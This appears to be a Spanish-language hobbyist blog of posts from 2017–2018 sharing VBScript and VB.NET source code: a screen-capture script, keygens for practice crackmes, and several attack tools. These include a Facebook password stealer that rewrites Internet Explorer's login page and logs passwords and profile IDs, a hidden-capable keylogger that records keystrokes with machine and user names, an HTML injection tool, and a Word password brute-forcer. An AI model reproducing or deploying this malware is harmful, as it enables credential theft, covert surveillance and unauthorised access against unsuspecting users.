martes, 29 de mayo de 2018

Codigo Para Copiar o Capturar Pantalla Con Vbscript

Ahora vengo con algo nuevo algo que creía que no se podía y que mucho creo que pensaban lo mismo, pero de tanto buscar y buscar por fin di con el clavo.

Se trata de copiar o capturar la pantalla de nuestro escritorio utilizando vbscript cosa que creía imposible, para después aguardarla en un archivo de word.

Sin mas que decir les dejare el código y al final el link de mi vídeo donde demuestro el uso de el.


option explicit
dim excel,word,doc   'declaramos las variables

set excel=createobject("excel.application")  ' creamos el objecto excel
set word=createobject("word.application")    'creamos el objecto word

excel.Application.SendKeys ("%{1068}") 'se pulsa la tecla para capturar pantalla y se copea al porta papeles
msgbox "pantalla capturada"  ' mensaje de pantalla capturada

Set doc = word.Documents.Add() ' se crea el documento de word
word.Selection.Paste  ' pega lo que se encuentra en el porta papeles
doc.saveas "C:\Users\Flamer\Desktop\img.doc" ' guarda el documento de word creado
word.quit ' cierra el objecto word

Saludos Flamer y creo que vbscript cada día me sorprende mas

miércoles, 23 de mayo de 2018

Codigo Del Keygen Del Crackme2 De AbelJM Por Flamer

Hola este es el código fuente del segundo crackme de nuestro amigo abelJM el cual es muy sencillo de resolver y son de los que recomiendo para aquellos que recien inician en este mundo del reversing sin mas que decir aquí esta el codigo en vb.net




1-Agregaremos 2 TextBox el primero lo llamaremos txtnombre y el segundo txtserial

2- Agregaremos 2 RadioButton el primero llamado op1 con el valor Text igual a Manual y el segundo op2 con el valor Text igual a Automático

3- Agregamos 2 Label uno con el valor de text igual a Nombre y otro con el valor Serial

4- y por ultimo agregamos 4 Botones los nombres los dejamos por defecto, al botón 1 su valor Text sera Copiar este copiara el serial, el segundo botón su valor Text sera Refrech, el tercero su valor sera Copiar y por ultimo su valor Text sera Generar



....:::::Aquí el Código::::.....



Public Class Form1

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load 
        Timer1.Start()
    End Sub


    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        Randomize()
        Dim l, x, largo As Integer
        Dim nombre As String = ""
        Dim caracter, serial As String
        Dim abc As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

       
        If op2.Checked Then
            Button4.Enabled = False
            l = CInt((7 - 2 + 1) * Rnd() + 2)
            For x = 1 To CInt(l / 2)
                nombre = nombre & Chr(CInt((90 - 65 + 1) * Rnd() + 65))
            Next

            txtnombre.Text = nombre
            nombre = nombre & UCase("perucrackers")
            largo = Len(nombre)
            serial = ""

            For x = 1 To largo
                caracter = Mid(nombre, x, 1)
                l = InStr(abc, caracter) + largo
                If l < 26 Then
                    serial = serial & Mid(abc, l, 1)
                ElseIf l > 26 Then
                    l = l - 26
                    serial = serial & Mid(abc, l, 1)
                Else
                    txtnombre.Text = ""
                    txtserial.Text = ""
                    serial = ""
                    Exit For
                End If
            Next
            txtserial.Text = serial
        ElseIf op1.Checked Then
            Button4.Enabled = True
        End If
    End Sub
 

    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        Clipboard.SetText(txtserial.Text)
    End Sub

    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        txtnombre.Text = ""
        txtserial.Text = ""
    End Sub

    Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
        Dim nombre As String = ""
        Dim x, largo, l As Integer
        Dim caracter, serial As String
        Dim abc As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"


        nombre = UCase(txtnombre.Text) & UCase("perucrackers")
        largo = Len(nombre)
        serial = ""

        For x = 1 To largo
            caracter = Mid(nombre, x, 1)
            l = InStr(abc, caracter) + largo
            If l < 26 Then
                serial = serial & Mid(abc, l, 1)
            ElseIf l > 26 Then
                l = l - 26
                serial = serial & Mid(abc, l, 1)
            Else
                txtnombre.Text = ""
                txtserial.Text = ""
                serial = ""
                MsgBox("El Serial No Puede Ser Creado", MsgBoxStyle.Information, "Error")
                Exit For
            End If
        Next
        txtserial.Text = serial
    End Sub

    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
        Clipboard.SetText(txtnombre.Text)
    End Sub
End Class



bueno haca les dejo el ejecutable, el código con música en txt y el crackme: Descargar

Saludos Flamer




sábado, 3 de febrero de 2018

Codigo Del Keygen Del Crackme1 De AbelJM Por Flamer

Bueno este es el código del keygen para el crackme1 de abel, en mi opinión es un crackme divertido ya que es muy sencillo y son de los que me gusta desayunarme por las mañanas para levantar el animo muy recomendable para los que recién inician en este mundo.

bueno sin mas que decir aquí una imagen del formulario




1-Agregaremos 2 TextBox el primero lo llamaremos txtnombre y el segundo txtserial

2- Agregaremos 2 RadioButton el primero llamado op1 con el valor Text igual a Manual y el segundo op2 con el valor Text igual a Automático

3- Agregamos 2 Label uno con el valor de text igual a Nombre y otro con el valor Serial

4- y por ultimo agregamos 4 Botones los nombres los dejamos por defecto, al botón 1 su valor Text sera Copiar este copiara el serial, el segundo botón su valor Text sera Refrech, el tercero su valor sera Copiar y por ultimo su valor Text sera Generar



....:::::Aquí el Código::::.....


Public Class Form1

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        
        Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        Randomize()
        Dim l, x As Integer
        Dim nombre As String = ""
        Dim caracter As String = ""

       
        If op2.Checked Then
            Button4.Enabled = False
            l = CInt((2 - 10) * Rnd() + 10)
            For x = 1 To CInt(l / 2)
                nombre = nombre & Chr(CInt((65 - 90) * Rnd() + 90))
                nombre = nombre & LCase(Chr(CInt((65 - 90) * Rnd() + 90)))
            Next

            txtnombre.Text = nombre
            nombre = ""
            For x = Len(txtnombre.Text) To 1 Step -1
                nombre = nombre & Mid(txtnombre.Text, x, 1)
                caracter = caracter & CStr(Asc(Mid(txtnombre.Text, x, 1)))
            Next
            txtserial.Text = nombre & "-" & caracter
        ElseIf op1.Checked Then
            Button4.Enabled = True
        End If
    End Sub

    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        Clipboard.SetText(txtserial.Text)
    End Sub

    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        txtnombre.Text = ""
        txtserial.Text = ""
    End Sub

    Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
        Dim nombre As String = ""
        Dim x As Integer
        Dim caracter As String = ""

        For x = Len(txtnombre.Text) To 1 Step -1
            nombre = nombre & Mid(txtnombre.Text, x, 1)
            caracter = caracter & CStr(Asc(Mid(txtnombre.Text, x, 1)))
        Next
        txtserial.Text = nombre & "-" & caracter
    End Sub

    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
        Clipboard.SetText(txtnombre.Text)
    End Sub
End Class



bueno haca les dejo el ejecutable, el codigo con musica en txt y el crackme: Descargar

Saludos Flamer







miércoles, 31 de enero de 2018

[Codigo] Obtener Contraseñas De Facebook Con Un simple Programa

Hola amigos aquí les dejo el código fuente en vb.net para obtener contraseñas de facebook, ojo el programa puede tener errores y solo funciona con el navegador Internet Explorer con otros no.

Este programa captura el id del usuario y la contraseña, con el id podemos iniciar sesión, los datos son almacenados en la carpeta temporal del sistema, otra cosa este método funciona para otras paginas ya que Internet Explorer es muy vulnerable solo hay que modificar el código un poco




1- Ponemos un TextBox y lo llamamos log

2- Y también un timer y le dejamos el nombre por defecto


codigo
Imports mshtml
Public Class Form1
    
    Dim shellWins As SHDocVw.ShellWindows
    Dim web As SHDocVw.InternetExplorer
    Dim HTMLDoc As mshtml.HTMLDocument
    Dim pass, url As String
    Dim vv As Boolean = False
    Dim c As Integer = 0
    Dim tem As String = Environ("temp") & "\facebook_log.txt"
    Private Sub Form1_FormClosing(sender As Object, e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        Dim peso As Long
        If FileIO.FileSystem.FileExists(tem) Then
            peso = FileLen(tem)
        End If
        If peso = 0 Then
            peso = 1
        End If
        FileOpen(1, tem, OpenMode.Binary)
        FileSystem.Seek(1, peso)
        FilePut(1, log.Text)
        FileClose(1)
    End Sub

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        shellWins = New SHDocVw.ShellWindows
        Timer1.Interval = 1
        Timer1.Start()
        'Me.Opacity = 0
    End Sub

    

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        'On Error Resume Next
        Dim i As Integer
        Dim code, remplaso, original, id, titulo As String

        remplaso = "id=" & Chr(34) & "pass2" & Chr(34)
        original = "id=" & Chr(34) & "pass" & Chr(34)

        i = 0
        For Each Me.web In shellWins
            url = web.LocationURL
            If (InStr(url, "https://www.facebook.com") Or InStr(url, "https://m.facebook.com")) Then
                i += 1
            End If
        Next
        c = 1
        For Each Me.web In shellWins
            url = web.LocationURL
            If (InStr(url, "https://www.facebook.com") Or InStr(url, "https://m.facebook.com")) Then
                While web.Busy
                End While
                If c = i Then
                    HTMLDoc = web.Document
                    titulo = HTMLDoc.title
                    If InStr(titulo, "sesión") <> 0 And InStr(titulo, "Seguridad") = 0 Then
                        code = ""

                        code = HTMLDoc.body.innerHTML

                        If InStr(code, "Inicios de sesión recientes") <> 0 And InStr(code, remplaso) = 0 Then
                            HTMLDoc.body.innerHTML = Replace(code, original, remplaso, 1, 1)
                        End If


                        If HTMLDoc.getElementById("pass").value <> "" Then
                            pass = HTMLDoc.getElementById("pass").value
                        End If

                        vv = True
                    ElseIf InStr(titulo, "sesión") = 0 And titulo <> "" And vv And pass <> "" Then
                        vv = False
                        code = ""
                        code = HTMLDoc.body.innerHTML
                        i = InStr(code, "profile_pic_header_") + Len("profile_pic_header_")
                        id = ""
                        While Asc(Mid(code, i, 1)) > 47 And Asc(Mid(code, i, 1)) < 58
                            id = id & Mid(code, i, 1)
                            i += 1
                        End While
                        log.Text = log.Text & "La contraseña es: " & pass & vbCrLf
                        log.Text = log.Text & "El ProfileID es: " & id & vbCrLf
                        log.Text = log.Text & "=========================================================================" & vbCrLf
                        pass = ""
                    End If
                End If
                c += 1
            End If
        Next

    End Sub

    Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles Me.Shown
        ' Me.Hide()
        'Me.Opacity = 100
    End Sub
End Class


bueno ese es el código aquí les dejare el ejecutable, si el antivirus lo detecta es un falso positivo

Descargar Exe


Saludos Flamer

lunes, 13 de noviembre de 2017

[Codigo] html code injection By Flamer


Hola aquí les dejo el código para editar paginas del Internet explorer, el código es muy sencillo esta hecho en vb.net, OJO con otros navegadores no funciona y tiene que estar abierto el navegador Internet explorer.

otra cosa solo les dejare el código, la versión compilada no




Agregar 3 textbox llamados txt_url, txt_remplace,txt_injection y txtcode

Agregar 2 botones llamados Button2 y Button1



...:::CODIGO:::...

Public Class Form1
    Dim shellWins As SHDocVw.ShellWindows
    Dim explorer As SHDocVw.InternetExplorer
    Dim code As String

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        shellWins = New SHDocVw.ShellWindows
    End Sub
    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click

        If txt_injection.Text <> "" And txt_remplace.Text <> "" Then

            For Each Me.explorer In shellWins
                If InStr(explorer.LocationURL, txt_url.Text) Then
                    code = explorer.Document.body.innerHtml
                    code = Replace(code, txt_remplace.Text, txt_injection.Text)
                    Me.explorer.Document.body.innerHtml = code
                End If
            Next
        ElseIf txtcode.Text <> "" Then
            Me.explorer.Document.body.innerHtml = txtcode.Text
        Else
            MsgBox("Error Campos vacios", MsgBoxStyle.Information, "Error")
        End If
    End Sub
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click

        If txt_url.Text <> "" Then
            txt_injection.Text = ""
            txt_remplace.Text = ""

            For Each Me.explorer In shellWins
                If InStr(explorer.LocationURL, txt_url.Text) Then
                    code = explorer.Document.body.innerHtml
                    txtcode.Text = code
                End If
            Next
        Else
            MsgBox("Error No Has Ingresado Una Url")
        End If
    End Sub
End Class



Bueno Saludos Flamer y espero les halla gustado



martes, 26 de septiembre de 2017

Codigo Del Keylogger En Vbscript


Hola aquí les muestro el código fuente del keylogger en vbscript, una cosa este código esta limitado ya que no acepta números y entre muchos mas caracteres.

Esta idea me surgió ya que navegando por un foro chino o japones, observe un código en vbs que usaba la api "GetAsyncKeyState" que es la encargada de identificar las teclas presionadas del teclado y guala se me bino ala mente crear este keylogger.

otra cosa observe que no es la única api  que utilizan desde vbscript hay otras mas


option explicit
Dim ExcelApp,f,fso,log,conta,datos,shell,api,cmd,may

set fso = createobject("scripting.filesystemobject")
Set ExcelApp = CreateObject("Excel.Application") 
Set Shell = CreateObject( "WScript.Shell" )

datos = "Nombre de la maquina:" & Shell.ExpandEnvironmentStrings("%computername%") & vbcrlf
datos = datos & "Nombre de usuario:" & Shell.ExpandEnvironmentStrings("%username%") & vbcrlf
datos = datos & "Fecha:" & now & vbcrlf
datos = datos & "==================================================================================================================================================================" & vbcrlf

log = ""
conta = 0
may = 0

While true
   if conta >= 50 then
      conta = 0
      if fso.fileexists("log.txt") then
      fso.deletefile("log.txt")  
   end if
      set f = fso.createtextfile("log.txt")
   f.write(datos)
   f.write(log)
   f.close
   end if 
   conta = conta + 1
   api=0      
'===========================================================================================================================
' LETRAS MAYUSCULAS Y MINUSCULAS  
   log = log & letras(may)
'==============================================================================================================================
' OTRAS
  
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 32 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & " "  
      api=0   
   end if   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 8 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = mid(log,1,len(log)-1)  
      api=0   
   end if    
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 13 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & "[Enter]"  
      api=0   
   end if      
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 20 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      if may = 0 then
            may = 1
         else
            may = 0
         end if 
      api=0    
   end if   
   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 192 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      if may=0 then
         log = log & "ñ"
      else
       log = log & "Ñ"
   end if   
      api=0   
   end if
   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 190 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & "."  
      api=0   
   end if  
   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 188 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & ","  
      api=0   
   end if  
   
wend

function letras(may)
 dim x,api,cmd,digi  
   for x = 65 to 90
      cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & x & ")"
      api = ExcelApp.ExecuteExcel4Macro(cmd)
      if api<>0 then
         exit for   
      end if
   next
   
   if x < 91 then
      if may = 0 then
         digi = lcase(chr(x))
      else
         digi = chr(x)
      end if
   end if
   letras = digi
end function



Saludos flamer


miércoles, 13 de septiembre de 2017

Codigo Simple Para Averiguar Contraseñas De Word


Hola amigos aquí esta el código de mi script para averiguar contraseñas de word, aclaro el programa solo esta hecho para contraseñas numéricas, pero si lo modifican un poco lo pueden hacer para letras o símbolos


option explicit
On Error Resume Next

Dim pass,objword,x,mata,process
Set objword = CreateObject("Word.Application")

objword.Visible = False

For x = 0 To 2000
   pass = CStr(x)
   objword.Documents.Open "Ruta Del Archivo Word", , , , pass, , , , , , , False  ' Cambiar la ruta del archivo word
   If Err.Number = 0 Then
      MsgBox("La Contraseña es: " & x)
      set mata = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")
   For each process in mata
         If process.name = "WINWORD.EXE" then
         Process.terminate
         End If
      Next
      Exit For
   Else
      Err.Number = 0
   End If
Next


Nota Importante: no loe hecho con letras y no se quien sera mas rápido si el programa Passware Kit Forensic 13.5 o el script utilizando letras


bueno espero que a alguien le sirva, saludos Flamer y aqui pueden ver el video: Ver Video